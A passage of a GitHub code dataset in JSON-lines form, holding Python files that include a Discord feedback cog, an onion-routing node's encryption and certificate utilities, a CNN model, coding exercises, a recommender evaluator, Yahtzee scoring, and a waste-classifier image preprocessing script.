max_length=800\n ),\n *args,\n **kwargs\n )\n\n async def callback(self, interaction):\n embed = discord.Embed(\n title=\"Beschwerde\",\n description=self.children[0].value,\n color=discord.Color.from_rgb(204, 0, 0)\n )\n\n Autor = f\"Name: {interaction.user.name}, <@{interaction.user.id}>\"\n embed.add_field(name=\"Beschwerde von: \", value=Autor, inline=False)\n embed.add_field(name=\"Beschreibung:\", value=self.children[1].value, inline=False)\n embed.add_field(name=\"Wunsch, wie das Problem gelöst wird: \", value=self.children[2].value, inline=False)\n\n channel = interaction.guild.get_channel(feedback)\n await interaction.response.send_message(\"Alles klar, wir haben deine Beschwerde erhalten\", ephemeral=True)\n await channel.send(embed=embed)\n\n#Cog-Einbindung\ndef setup(bot):\n bot.add_cog(Feedback(bot))\n\n","repo_name":"Selinofant/bot-cogs","sub_path":"feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":5921,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"8853515517","text":"# !/usr/bin/python\n\n'''\nimport protocol_sendrecv as psr\nimport protocol_control as pctrl\nimport protocol_security as psec\nimport time\n'''\n\nimport shrek_protocols.protocol_sendrecv as psr\nimport shrek_protocols.protocol_control as pctrl\nimport shrek_protocols.protocol_security as psec\nimport time\n\n# Variables\n\nfile_hostconfig = 'hostconfig.json'\npubkey = 'pubkey.pem'\nprivkey = 'privkey.pem'\n\n# iniciar las configuraciones del nodo\n\ndef configuration(port):\n # Download configure host\n # pctrl.get_config_files() # Only if the node is connect to internet direct\n\n # Configure node\n pctrl.set_info_host('hostconfig.json', int(port))\n my_ip, my_port = pctrl.get_info_host('hostconfig.json', 'host')\n return my_ip\n\n# Certificados CA\ndef config_security_ca(ip):\n psec.create_certificate_CA('privkey.pem', 'ES', 'Madrid', 'UPM', ip, 'certificate.crt')\n psec.extract_pub_key('privkey.pem', 'pubkey.pem')\n\n\n# solicitud de certificados inicio de la ejecucion del nodo - Nodes + Ctrl\ndef create_request_cert(ip):\n file_priv_key = 'privkey.pem'\n file_pub_key = 'pubkey.pem'\n file_req_cert = 'request.csr'\n psec.generate_priv_key(file_priv_key)\n psec.extract_pub_key(file_priv_key, file_pub_key)\n psec.request_certificate(file_priv_key, 'ES', 'Madrid', 'UPM', ip, file_req_cert)\n\n\n# Signed request certified to CA - Nodes + Ctrl\n\ndef req_cert_ca(my_ip, my_port, pub_key_target):\n request = 'sign cert'\n file_cert_req = 'request.csr'\n file_cert_signed = 'certificate.crt'\n ca_ip, ca_port = pctrl.get_info_host(file_hostconfig, 'ca')\n send_encrypt_file(file_cert_req, pub_key_target, ca_ip, ca_port, my_ip, my_port, request)\n pubkey_str = pctrl.files(pubkey,'read')\n time.sleep(1)\n ack = psr.send(pubkey_str, ca_ip, ca_port)\n cert = psr.recive(my_ip,my_port)\n pctrl.files(file_cert_signed,'write', cert)\n\n# Exchange pubkey - All Nodes\ndef req_exchange_pubkey(my_ip, my_port, opc, ip_target=' ', port_target=' '):\n msg = 'req pubkey'\n if not opc == 'node':\n ip_target, port_target = pctrl.get_info_host('hostconfig.json', opc)\n print(str((my_ip, my_port, msg)))\n confirm_msg = psr.send(str((my_ip, my_port, msg)), str(ip_target), int(port_target))\n if str(confirm_msg) == 'ACK!':\n pubkeynode = str(psr.recive(str(my_ip), int(my_port)))\n if pubkeynode:\n file = open('pubkey' + opc + '.pem', 'w')\n file.write(str(pubkeynode))\n file.close()\n\n\n# Send encrypt files - All nodes\n\ndef send_encrypt_file(file_msg, node_pub_key, ip_send, port_send, my_ip, my_port, request=''):\n temp_key_aes = 'tempkeyaes.pem'\n temp_key_aes_enc = 'tempkeyaes.enc'\n temp_file_data = 'ntempfiledata.txt'\n temp_file_data_enc = 'tempfiledata.enc'\n\n if not request == '':\n ack = psr.send(str((my_ip, my_port, request)), str(ip_send), int(port_send))\n print(request, ack)\n\n psec.generate_priv_key_AES(temp_key_aes)\n\n try:\n open(file_msg, 'rb')\n print('copy----')\n pctrl.execution('cp ' + file_msg + ' ' + temp_file_data)\n except:\n print('create----')\n file = open(temp_file_data, 'w')\n file.write(file_msg)\n file.close()\n\n psec.encrypt_rsa(node_pub_key, temp_key_aes, temp_key_aes_enc)\n\n psec.encrypt_aes(temp_key_aes, temp_file_data, temp_file_data_enc)\n\n file = open(temp_key_aes_enc, 'rb')\n file_key = file.read()\n file.close()\n file = open(temp_file_data_enc, 'rb')\n file_data = file.read()\n file.close()\n\n time.sleep(1)\n ack = psr.send(str(file_key), str(ip_send), int(port_send))\n\n time.sleep(1)\n ack = psr.send(str(file_data), str(ip_send), int(port_send))\n\n print(ack)\n\n\n# Recive encrypt files - All Nodes\n\ndef recive_encrypt_file(my_ip, my_port, outputfile=''):\n temp_key_aes = 'tempkeyaes.pem'\n temp_key_aes_enc = 'tempkeyaes.enc'\n temp_file_data_dec = 'tempfiledata.dec'\n temp_file_data_enc = 'tempfiledata.enc'\n\n print('[+] Wait key ...')\n message_key = psr.recive(my_ip, my_port)\n print('[+] Wait data ...')\n message_data = psr.recive(my_ip, my_port)\n print(message_key)\n print(message_data)\n\n file = open(temp_key_aes_enc, 'w')\n file.write(message_key)\n file.close()\n print(' (*) desencriptar privkeyaes')\n psec.decrypt_rsa(privkey, temp_key_aes_enc, temp_key_aes)\n\n file = open(temp_file_data_enc, 'w')\n file.write(message_data)\n file.close()\n print(' (*) desencriptar file')\n\n if outputfile == '':\n outputfile = temp_file_data_dec\n\n psec.decrypt_aes(temp_key_aes, temp_file_data_enc, outputfile)\n\n file = open(outputfile, 'rb')\n file_data = file.read()\n file.close()\n print(file_data)\n\n return file_data\n\n# Adding new host - Node Ctrl\n\ndef new_host(new_ip, new_port, new_pubkey):\n pctrl.add_host_to_network('networkhosts.json', new_ip, new_port, new_pubkey)\n","repo_name":"Sergiogonzalezpi/shrek-tor","sub_path":"shrek_utilities/utility_node.py","file_name":"utility_node.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"24302629365","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 23 10:45:29 2019\n\n@author: Ljx\n\"\"\"\n\n\nfrom .BasicModule import BasicModule\n\nimport torch as t\nimport torch.nn as nn\n\n\nclass CNN(BasicModule):\n def __init__(self, opt): \n super(CNN, self).__init__()\n self.module_name = 'CNN'\n self.opt = opt\n \n self.input_size = opt.input_size\n self.output_size = opt.output_size\n \n \n self.cnn1 = nn.Conv2d(1, 4, [5,1], 1)\n self.cnn2 = nn.Conv2d(4, 8, [13,1], 1)\n self.cnn3 = nn.Conv2d(8, 32, [17, 4], 1)\n self.cnn4 = nn.Conv2d(1, 1, [3,3], 1)\n self.linear = nn.Linear(900, 16)\n \n \n def forward(self, input_data):\n batch = input_data.shape[1]\n x = input_data.reshape(batch, 1, self.opt.T, self.input_size)\n x = self.cnn3(self.cnn2(self.cnn1(x)))\n x = x.reshape(batch, 1, 32, 32)\n x = self.cnn4(x).reshape(batch, -1)\n out = self.linear(x).reshape(4, batch, 4)\n return out\n \n \n \nif __name__ == '__main__':\n cnn = CNN()\n print(cnn.module_name)","repo_name":"wechto/cxl","sub_path":"models/CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"}
+{"seq_id":"7545311937","text":"# Definition for singly-linked list.\r\nclass ListNode(object):\r\n def __init__(self, val=0, next=None):\r\n self.val = val\r\n self.next = next\r\n\r\nclass Solution(object):\r\n def mergeTwoLists(self, l1, l2):\r\n \"\"\"\r\n :type l1: ListNode\r\n :type l2: ListNode\r\n :rtype: ListNode\r\n \"\"\"\r\n dummy = ListNode()\r\n new_list = dummy\r\n while l1 is not None and l2 is not None:\r\n if l1.val < l2.val:\r\n new_list.next = l1\r\n l1 =l1.next\r\n else:\r\n new_list.next = l2\r\n l2=l2.next\r\n new_list = new_list.next\r\n\r\n if l1:\r\n new_list.next = l1\r\n\r\n else:\r\n new_list.next = l2\r\n return dummy.next\r\n\r\n\r\nl1 = ListNode(1,ListNode(2,ListNode(3,None)))\r\nl2 = ListNode(1,ListNode(3,ListNode(4,None)))\r\nprint(Solution().mergeTwoLists(l1,l2).next.val)","repo_name":"shwetatanwar13/python","sub_path":"sort merge linked list.py","file_name":"sort merge linked list.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"72580409834","text":"# function for checking anagram\ndef check_anagram(string1, string2):\n string1_letter = []\n for character in string1:\n char_ascii = ord(character)\n if((char_ascii > 65 and char_ascii < 91) or (char_ascii > 97 and char_ascii < 123)):\n string1_letter.append(character.lower())\n\n flag = 1\n for item in string1_letter:\n if item not in string2.lower():\n flag = 0\n break\n\n if flag == 1:\n print(\"Anagram\\n\")\n else:\n print(\"Not anagram\\n\")\n\n\n# Main\ninput_string1 = input(\"Enter the first string : \")\ninput_string2 = input(\"Enter the second string : \")\ncheck_anagram(input_string1, input_string2)\n","repo_name":"pieSecur1ty/Python-Exercises","sub_path":"20-Anagram-Or-Not.py","file_name":"20-Anagram-Or-Not.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18976665995","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Given an array of integers, return a new array such that each element at\n# index i of the new array is the product of all the numbers in the original\n# array except the one at i.\n\nfrom __future__ import print_function\n\nfrom operator import mul\n\nTEST = [\n ([3, 2, 1], [2, 3, 6]),\n ([1, 2, 3, 4, 5], [120, 60, 40, 30, 24]),\n ([234, 829, 447], [370563, 104598, 193986]),\n]\n\n\ndef ex02(l):\n ret = []\n for i, _ in enumerate(l):\n t = list(l)\n t.pop(i)\n ret.append(reduce(mul, t, 1))\n return ret\n\n\ndef test_ex02(t):\n ret = []\n for a, b in t:\n if ex02(a) == b:\n ret.append(\"OK\")\n else:\n ret.append(\"failed\")\n return ret\n\n\nif __name__ == \"__main__\":\n print(\"Tests:\", test_ex02(TEST))\n","repo_name":"tstarck/coding-problems","sub_path":"2018-09-29.py","file_name":"2018-09-29.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"28738003590","text":"import warnings\nfrom collections import OrderedDict\nfrom enum import Enum, auto\nfrom typing import TYPE_CHECKING, Dict, List, Optional, Union\n\nimport numpy as np\nfrom scipy import sparse as sps\n\nfrom .._threading import get_n_threads\nfrom ..definitions import DenseScoreArray, InteractionMatrix\nfrom ._core import EvaluatorCore, Metrics\n\nif TYPE_CHECKING:\n from ..recommenders.base import BaseRecommender\n\n\nclass TargetMetric(Enum):\n ndcg = auto()\n recall = auto()\n hit = auto()\n map = auto()\n precision = auto()\n\n\nMETRIC_NAMES = [\n \"hit\",\n \"recall\",\n \"ndcg\",\n \"map\",\n \"precision\",\n \"gini_index\",\n \"entropy\",\n \"appeared_item\",\n]\n\n\nclass Evaluator:\n r\"\"\"Evaluates recommenders' performance against validation set.\n\n Args:\n ground_truth (Union[scipy.sparse.csr_matrix, scipy.sparse.csc_matrix]):\n The ground-truth.\n offset (int):\n Where the validation target user block begins.\n Often the validation set is defined for a subset of users.\n When offset is not 0, we assume that the users with validation\n ground truth corresponds to X_train[offset:] where X_train\n is the matrix feeded into the recommender class. Defaults to 0.\n cutoff (int, optional):\n Controls the default number of recommendation.\n When the evaluator is used for parameter tuning, this cutoff value will be used.\n Defaults to 10.\n target_metric (str, optional):\n Specifies the target metric when this evaluator is used for\n parameter tuning. Defaults to \"ndcg\".\n recommendable_items (Optional[List[int]], optional):\n Global recommendable items. Defaults to None.\n If this parameter is not None, evaluator will be concentrating on\n the recommender's score output for these recommendable_items,\n and compute the ranking performance within this subset.\n per_user_recommendable_items:\n Similar to `recommendable_items`, but this time the recommendable items can vary among users.\n If a sparse matrix is given, its nonzero indices are regarded as the list of recommendable items.\n Defaults to `None`.\n masked_interactions:\n If set, this matrix masks the score output of recommender model where it is non-zero.\n If none, the mask will be the training matrix itself owned by the recommender.\n\n n_threads:\n Specifies the Number of threads to sort scores and compute the evaluation metrics.\n If `None`, the environment variable ``\"IRSPACK_NUM_THREADS_DEFAULT\"` will be looked up,\n and if the variable is not set, it will be set to ``os.cpu_count()``. Defaults to `None`.\n\n recall_with_cutoff (bool, optional):\n This affects the definition of recall.\n If ``True``, for each user, recall will be computed as\n\n .. math ::\n\n \\frac{N_{\\text{hit}}}{\\min(\\text{cutoff}, N_{\\text{ground truth}})}\n\n If ``False``, this will be\n\n .. math ::\n\n \\frac{N_{\\text{hit}}}{N_{\\text{ground truth}}}\n\n\n mb_size (int, optional):\n The rows of chunked user score. Defaults to 1024.\n \"\"\"\n\n n_users: int\n n_items: int\n masked_interactions: Optional[sps.csr_matrix]\n\n def __init__(\n self,\n ground_truth: InteractionMatrix,\n offset: int = 0,\n cutoff: int = 10,\n target_metric: str = \"ndcg\",\n recommendable_items: Optional[List[int]] = None,\n per_user_recommendable_items: Union[\n None, List[List[int]], InteractionMatrix\n ] = None,\n masked_interactions: Optional[InteractionMatrix] = None,\n n_threads: Optional[int] = None,\n recall_with_cutoff: bool = False,\n mb_size: int = 128,\n ) -> None:\n\n ground_truth = ground_truth.tocsr().astype(np.float64)\n ground_truth.sort_indices()\n if recommendable_items is None:\n if per_user_recommendable_items is None:\n recommendable_items_arg: List[List[int]] = []\n else:\n if sps.issparse(per_user_recommendable_items):\n per_user_as_csr = sps.csr_matrix(per_user_recommendable_items)\n recommendable_items_arg = [\n [int(j) for j in row.nonzero()[1]] for row in per_user_as_csr\n ]\n else:\n recommendable_items_arg = per_user_recommendable_items\n if len(recommendable_items_arg) != ground_truth.shape[0]:\n raise ValueError(\n \"ground_truth and per_user_recommendable_items have inconsistent shapes.\"\n )\n else:\n recommendable_items_arg = [recommendable_items]\n\n self.core = EvaluatorCore(ground_truth, recommendable_items_arg)\n self.offset = offset\n self.n_users = ground_truth.shape[0]\n self.n_items = ground_truth.shape[1]\n self.target_metric = TargetMetric[target_metric]\n self.cutoff = cutoff\n self.target_metric_name = f\"{self.target_metric.name}@{self.cutoff}\"\n self.n_threads = get_n_threads(n_threads)\n self.mb_size = mb_size\n if masked_interactions is None:\n self.masked_interactions = None\n else:\n if masked_interactions.shape != ground_truth.shape:\n raise ValueError(\n \"ground_truth and masked_interactions have different shapes. \"\n )\n self.masked_interactions = sps.csr_matrix(masked_interactions)\n\n self.recall_with_cutoff = recall_with_cutoff\n\n def _get_metrics(\n self, scores: DenseScoreArray, cutoff: int, ground_truth_begin: int\n ) -> Metrics:\n if scores.dtype == np.float64:\n return self.core.get_metrics_f64(\n scores,\n cutoff,\n ground_truth_begin,\n self.n_threads,\n self.recall_with_cutoff,\n )\n elif scores.dtype == np.float32:\n return self.core.get_metrics_f32(\n scores,\n cutoff,\n ground_truth_begin,\n self.n_threads,\n self.recall_with_cutoff,\n )\n else:\n raise ValueError(\"score must be either float32 or float64.\")\n\n def get_target_score(self, model: \"BaseRecommender\") -> float:\n r\"\"\"Compute the optimization target score (self.target_metric) with the cutoff being ``self.cutoff``.\n\n Args:\n model: The evaluated model.\n\n Returns:\n The metric value.\n \"\"\"\n return self.get_score(model)[self.target_metric.name]\n\n def get_score(self, model: \"BaseRecommender\") -> Dict[str, float]:\n r\"\"\"Compute the score with the cutoff being ``self.cutoff``.\n\n Args:\n model : The evaluated recommender.\n\n Returns:\n metric values.\n \"\"\"\n return self._get_scores_as_list(model, [self.cutoff])[0]\n\n def get_scores(\n self, model: \"BaseRecommender\", cutoffs: List[int]\n ) -> Dict[str, float]:\n r\"\"\"Compute the score with the specified cutoffs.\n\n Args:\n model : The evaluated recommender.\n cutoffs : for each value in cutoff, the class computes\n the metric values.\n\n Returns:\n The Resulting metric values. This time, the result\n will look like ``{\"ndcg@20\": 0.35, \"map@20\": 0.2, ...}``.\n \"\"\"\n\n result: Dict[str, float] = OrderedDict()\n scores = self._get_scores_as_list(model, cutoffs)\n for cutoff, score in zip(cutoffs, scores):\n for metric_name in METRIC_NAMES:\n result[f\"{metric_name}@{cutoff}\"] = score[metric_name]\n return result\n\n def _get_scores_as_list(\n self, model: \"BaseRecommender\", cutoffs: List[int]\n ) -> List[Dict[str, float]]:\n if self.offset + self.n_users > model.n_users:\n raise ValueError(\"evaluator offset + n_users exceeds the model's n_users.\")\n if self.n_items != model.n_items:\n raise ValueError(\"The model and evaluator assume different n_items.\")\n n_items = self.n_items\n metrics: List[Metrics] = []\n for c in cutoffs:\n metrics.append(Metrics(n_items))\n\n block_start = self.offset\n n_validated = self.n_users\n block_end = block_start + n_validated\n mb_size = self.mb_size\n\n for chunk_start in range(block_start, block_end, mb_size):\n chunk_end = min(chunk_start + mb_size, block_end)\n try:\n # try faster method\n scores = model.get_score_block(chunk_start, chunk_end)\n except NotImplementedError:\n # block-by-block\n scores = model.get_score(np.arange(chunk_start, chunk_end))\n\n if self.masked_interactions is None:\n mask = model.X_train_all[chunk_start:chunk_end]\n else:\n mask = self.masked_interactions[\n chunk_start - self.offset : chunk_end - self.offset\n ]\n scores[mask.nonzero()] = -np.inf\n for i, c in enumerate(cutoffs):\n chunked_metric = self._get_metrics(\n scores,\n c,\n chunk_start - self.offset,\n )\n metrics[i].merge(chunked_metric)\n\n return [item.as_dict() for item in metrics]\n\n\nclass EvaluatorWithColdUser(Evaluator):\n r\"\"\"Evaluates recommenders' performance against cold (unseen) users.\n\n Args:\n input_interaction (Union[scipy.sparse.csr_matrix, scipy.sparse.csc_matrix]):\n The cold-users' known interaction with the items.\n ground_truth (Union[scipy.sparse.csr_matrix, scipy.sparse.csc_matrix]):\n The held-out ground-truth.\n offset (int): Where the validation target user block begins.\n Often the validation set is defined for a subset of users.\n When offset is not 0, we assume that the users with validation\n ground truth corresponds to X_train[offset:] where X_train\n is the matrix feeded into the recommender class.\n cutoff (int, optional):\n Controls the number of recommendation.\n Defaults to 10.\n target_metric (str, optional):\n Optimization target metric.\n Defaults to \"ndcg\".\n recommendable_items (Optional[List[int]], optional):\n Global recommendable items. Defaults to None.\n If this parameter is not None, evaluator will be concentrating on\n the recommender's score output for these recommendable_items,\n and compute the ranking performance within this subset.\n per_user_recommendable_items (Optional[List[List[int]]], optional):\n Similar to `recommendable_items`, but this time the recommendable items can vary among users. Defaults to None.\n masked_interactions (Optional[Union[scipy.sparse.csr_matrix, scipy.sparse.csc_matrix]], optional):\n If set, this matrix masks the score output of recommender model where it is non-zero.\n If none, the mask will be the training matrix (``input_interaction``) it self.\n n_threads (int, optional):\n Specifies the Number of threads to sort scores and compute the evaluation metrics.\n If ``None``, the environment variable ``\"IRSPACK_NUM_THREADS_DEFAULT\"`` will be looked up,\n and if the variable is not set, it will be set to ``os.cpu_count()``. Defaults to None.\n recall_with_cutoff (bool, optional):\n This affects the definition of recall.\n If ``True``, for each user, recall will be evaluated by\n\n .. math ::\n\n \\frac{N_{\\text{hit}}}{\\min( \\text{cutoff}, N_{\\text{ground truth}} )}\n\n If ``False``, this will be\n\n .. math ::\n\n \\frac{N_{\\text{hit}}}{N_{\\text{ground truth}}}\n\n mb_size (int, optional):\n The rows of chunked user score. Defaults to 1024.\n \"\"\"\n\n def __init__(\n self,\n input_interaction: InteractionMatrix,\n ground_truth: InteractionMatrix,\n cutoff: int = 10,\n target_metric: str = \"ndcg\",\n recommendable_items: Optional[List[int]] = None,\n per_user_recommendable_items: Union[\n None, List[List[int]], InteractionMatrix\n ] = None,\n masked_interactions: Optional[InteractionMatrix] = None,\n n_threads: Optional[int] = None,\n recall_with_cutoff: bool = False,\n mb_size: int = 1024,\n ):\n\n super().__init__(\n ground_truth,\n offset=0,\n cutoff=cutoff,\n target_metric=target_metric,\n recommendable_items=recommendable_items,\n per_user_recommendable_items=per_user_recommendable_items,\n masked_interactions=masked_interactions,\n n_threads=n_threads,\n recall_with_cutoff=recall_with_cutoff,\n mb_size=mb_size,\n )\n self.input_interaction = input_interaction\n\n def _get_scores_as_list(\n self,\n model: \"BaseRecommender\",\n cutoffs: List[int],\n ) -> List[Dict[str, float]]:\n\n n_items = model.n_items\n metrics: List[Metrics] = []\n for c in cutoffs:\n metrics.append(Metrics(n_items))\n\n block_start = self.offset\n n_validated = self.n_users\n block_end = block_start + n_validated\n mb_size = self.mb_size\n\n for chunk_start in range(block_start, block_end, mb_size):\n chunk_end = min(chunk_start + mb_size, block_end)\n scores = model.get_score_cold_user(\n self.input_interaction[chunk_start:chunk_end]\n )\n if self.masked_interactions is None:\n mask = self.input_interaction[chunk_start:chunk_end]\n else:\n mask = self.masked_interactions[chunk_start:chunk_end]\n scores[mask.nonzero()] = -np.inf\n\n if not scores.flags.c_contiguous:\n warnings.warn(\n \"Found col-major(fortran-style) score values.\\n\"\n \"Transforming it to row-major score matrix.\"\n )\n scores = np.ascontiguousarray(scores, dtype=np.float64)\n\n for i, c in enumerate(cutoffs):\n chunked_metric = self._get_metrics(scores, c, chunk_start)\n metrics[i].merge(chunked_metric)\n\n return [item.as_dict() for item in metrics]\n","repo_name":"tohtsky/irspack","sub_path":"src/irspack/evaluation/evaluator.py","file_name":"evaluator.py","file_ext":"py","file_size_in_byte":14764,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"72"}
+{"seq_id":"8810136484","text":"##########################################\n##########################################\n# 3/17 복습\n'''\narray에따라 연결된 애들을 union_find하고 data있는애들이 같은 parent인지보자?\n'''\ndef union_parent(parent, a, b):\n a = find_parent(parent, a)\n b = find_parent(parent, b)\n if a > b:\n parent[a] = b\n else:\n parent[b] = a\n\ndef find_parent(parent, x):\n if parent[x] != x: # 대표값이 아니라면 대표값으로 바꿔줌\n parent[x] = find_parent(parent, parent[x])\n return parent[x]\n\nn, m = map(int, input().split())\narray = [list(map(int, input().split())) for _ in range(n)]\ndata = list(map(int, input().split()))\n\n# 대표값 선언 및 초가화\nparent = [0] * (n+1)\nfor i in range(1, n+1):\n parent[i] = i\n\n# 연결되어있나 확인하자\nfor i in range(n):\n for j in range(i, n):\n if array[i][j] == 1: # 연결이 되어있다면 i,j 연결\n union_parent(parent, i+1, j+1)\n\npre = data[0]\nflag = True\nfor i in range(1, len(data)):\n if parent[pre] == parent[data[i]]:\n pre = data[i]\n else:\n flag = False\n break\nprint(parent) \nif not flag: # 안이어졌다면\n print(\"NO\")\nelse:\n print(\"YES\")\n\n# '''\n# 전체 도시에 대해 union find해서 \n# 여행 도시들이 모두 같은 집합인지 체크하면된다.\n# '''\n# ########################################\n# ########################################\n# # 좀더 깔끔한 코드\n# def find_parent(parent, x):\n# if parent[x] != x:\n# parent[x] = find_parent(parent, parent[x])\n# return parent[x]\n\n# def union_parent(parent, a, b):\n# a = find_parent(parent, a)\n# b = find_parent(parent, b)\n# if a < b:\n# parent[b] = a\n# else:\n# parent[a] = b\n\n# n, m = map(int, input().split())\n# parent = [0] * (n+1)\n\n# # 부모 초기화\n# for i in range(1, n+1):\n# parent[i] = i\n\n# # 도로상황 입력받기\n# for i in range(n):\n# chart = list(map(int, input().split()))\n# for j in range(n):\n# if chart[j] == 1:\n# union_parent(parent, i, j)\n\n# array = list(map(int, input().split()))\n\n# result = True\n# for i in range(m-1):\n# if find_parent(parent, array[i]) != find_parent(parent, array[i+1]):\n# result = False\n# break\n\n# if result:\n# print(\"YES\")\n# else:\n# print(\"NO\")\n# ########################################\n# ########################################\n# # 내풀이\n# # def find_parent(parent, x):\n# # if parent[x] != x:\n# # parent[x] = find_parent(parent, parent[x])\n# # return parent[x]\n\n# # def union_parent(parent, a, b):\n# # a = find_parent(parent, a)\n# # b = find_parent(parent, b)\n# # if a < b:\n# # parent[b] = a\n# # else:\n# # parent[a] = b\n\n# # n, m = map(int, input().split())\n# # parent = [0] * (n+1)\n# # chart = []\n\n# # # 부모 초기화\n# # for i in range(1, n+1):\n# # parent[i] = i\n\n# # # 도로상황 입력받기\n# # for i in range(n):\n# # chart.append(list(map(int, input().split())))\n\n# # # chart[a][b] == 1이면 a와 b의 부모 같게한다.\n# # for i in range(n):\n# # for j in range(i,n):\n# # if chart[i][j] == 1:\n# # union_parent(parent, i, j)\n\n# # array = list(map(int, input().split()))\n\n# # check = True\n# # start = find_parent(parent, array[0])\n# # for i in range(1, len(array)):\n# # go = find_parent(parent, array[i])\n# # if start != go:\n# # check = False\n# # break\n# # if check:\n# # print(\"YES\")\n# # else:\n# # print(\"NO\")","repo_name":"Minsik113/Algorithm-practice","sub_path":"[책]이것이코딩테스트다/8_그래프이론/1_여행계획.py","file_name":"1_여행계획.py","file_ext":"py","file_size_in_byte":3543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"11917874652","text":"from outcomes import *\nfrom copy import deepcopy\n\ndef check(array, val, operator=\">=\"):\n return eval(\"[x for x in array if x {} val]\".format(operator))\n\ndef checkStraight(array): #converts array to a binary string\n output = []\n for x in array:\n if x != 0:\n output.append(\"1\")\n else:\n output.append(\"0\")\n return \"\".join(output) #e.g. [0,1,5,0,3] --> 01101\n\nclass Score: #outputs all possible non-zero scores for a given dice set\n dice = []\n count = [0, 0, 0, 0, 0, 0, 0]\n fits = {}\n outcomes = {}\n\n def match(self):\n count = self.count\n for x in range(1,7): #does uppers\n if count[x] > 0: self.fits[\"upper\" + str(x)] += 1\n if check(count, 3): self.fits[\"three\"] += 1\n if check(count, 4): self.fits[\"four\"] += 1\n if check(count, 3, \"==\") and check(count, 2, \"==\"): self.fits[\"fullHouse\"] += 1\n if check(count, 5): self.fits[\"yahtzee\"] += 1\n if \"1111\" in checkStraight(count): self.fits[\"sStraight\"] += 1\n if \"11111\" in checkStraight(count): self.fits[\"lStraight\"] += 1\n\n def __init__(self, arg, fits): #arg is the dice set\n self.dice = [x.value for x in arg] #takes the value for each dice\n self.fits = deepcopy(fits)\n self.count = [0, 0, 0, 0, 0, 0, 0]\n self.outcomes = {}\n for x in self.dice:\n self.count[x] += 1 #creates a count i.e. if count[1]=3, then there are three ones in the dice set\n #print(\", \".join([\"[{}]: {}\".format(x, self.count[x]) for x in range(1,7)]))\n self.match()\n for key in self.fits:\n if self.fits[key] > 0:\n type = key[:-1] if \"upper\" in key else key\n variant = int(key[-1:]) if \"upper\" in key else 0\n self.outcomes[key] = Outcome(type, variant, self.dice)\n\n def __repr__(self):\n return \", \".join([\"{}({}): {}\".format(self.outcomes[x].type, self.outcomes[x].variant, self.outcomes[x].score) for x in self.outcomes])\n","repo_name":"corytaitchison/Yahtzee-Python","sub_path":"scores.py","file_name":"scores.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"20308164977","text":"import torch\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\nimport numpy as np\nimport os\nimport cv2\nimport WasteClassifier.config as config\nimport shutil\nimport pathlib\nimport skimage\nimport random\nimport matplotlib.pyplot as plt\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ndef prepare_dataset(source_path: str, target_path: str, depth: int = 2, hog_transformed: bool = True):\n target_path = pathlib.Path(target_path)\n source_path = pathlib.Path(source_path)\n\n prepare_directories(source_path, target_path)\n prepare_dirs_for_binary_models(target_path)\n\n if depth == 0:\n count = 0\n\n for file_name in source_path.iterdir():\n target_file_path = target_path / file_name.name\n img = file_name\n img = resize_file(img)\n img = resize_file(file_name)\n img = bgr_to_hsv(img)\n # img = hog_image(img)\n count += 1\n\n # I know it hurts, but this it's just python file manipulation stuff\n elif depth == 2: # depth 2 is directory given in structure .../train|test/label/contents\n count = 0\n\n # first iterate over datasets split into train and test images\n for dataset in source_path.iterdir():\n # iterate over labels in train / test\n for label_path in dataset.iterdir():\n # iterate over every image in label directories\n for file_name in pathlib.Path(label_path).iterdir():\n target_file_path = target_path / dataset.name / label_path.name / file_name.name\n img = cv2.imread(str(file_name))\n\n if img is None:\n print(f'File {file_name} is broken. Removing')\n pathlib.Path(file_name).unlink()\n continue\n\n img = convert_img_to_nn_input(img, hog_transformed, hsv_transformed=config.is_hsv)\n\n if hog_transformed:\n skimage.io.imsave(str(target_file_path), img) # img.astype(np.uint8))\n # skimage.io.imsave(str(target_file_path), img.astype(np.uint8))\n else:\n cv2.imwrite(str(target_file_path), img)\n\n save_imgs_to_binary_catalogs(img, target_file_path.parents[2], label_path.name, file_name.name,\n hog_transformed)\n count += 1\n\n print(f'Extracting photos for {dataset.name} {label_path.name} done')\n\n balance_binary_datasets(target_path)\n\n\ndef convert_img_to_nn_input(img, hog_transformed, hsv_transformed):\n # if img.shape != (512, 384, 3):\n # img = resize_file(img)\n\n if hsv_transformed:\n img = bgr_to_hsv(img)\n\n if hog_transformed:\n img = transform_with_hog(img)\n\n return img\n\n\ndef bgr_to_hsv(img):\n # input is cv2 image\n img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n return img\n\n\ndef transform_with_hog(img):\n # skimage_img = cv2_to_skimage(img)\n # features, hog = skimage.feature.hog(img, orientations=9, pixels_per_cell=(8, 8),\n # cells_per_block=(2, 2), visualize=True, multichannel=True)\n fd, hog = skimage.feature.hog(img, orientations=9, pixels_per_cell=(8, 8),\n cells_per_block=(2, 2), visualize=True, multichannel=True)\n\n return hog\n\n\ndef cv2_to_skimage(img):\n img = img[:, :, ::-1] # in opencv photos are BGR\n return skimage.util.img_as_float(img)\n\n\ndef skimage_to_cv2(img):\n img = img[:, :, ::-1]\n return skimage.util.img_as_ubyte(img)\n\n\ndef 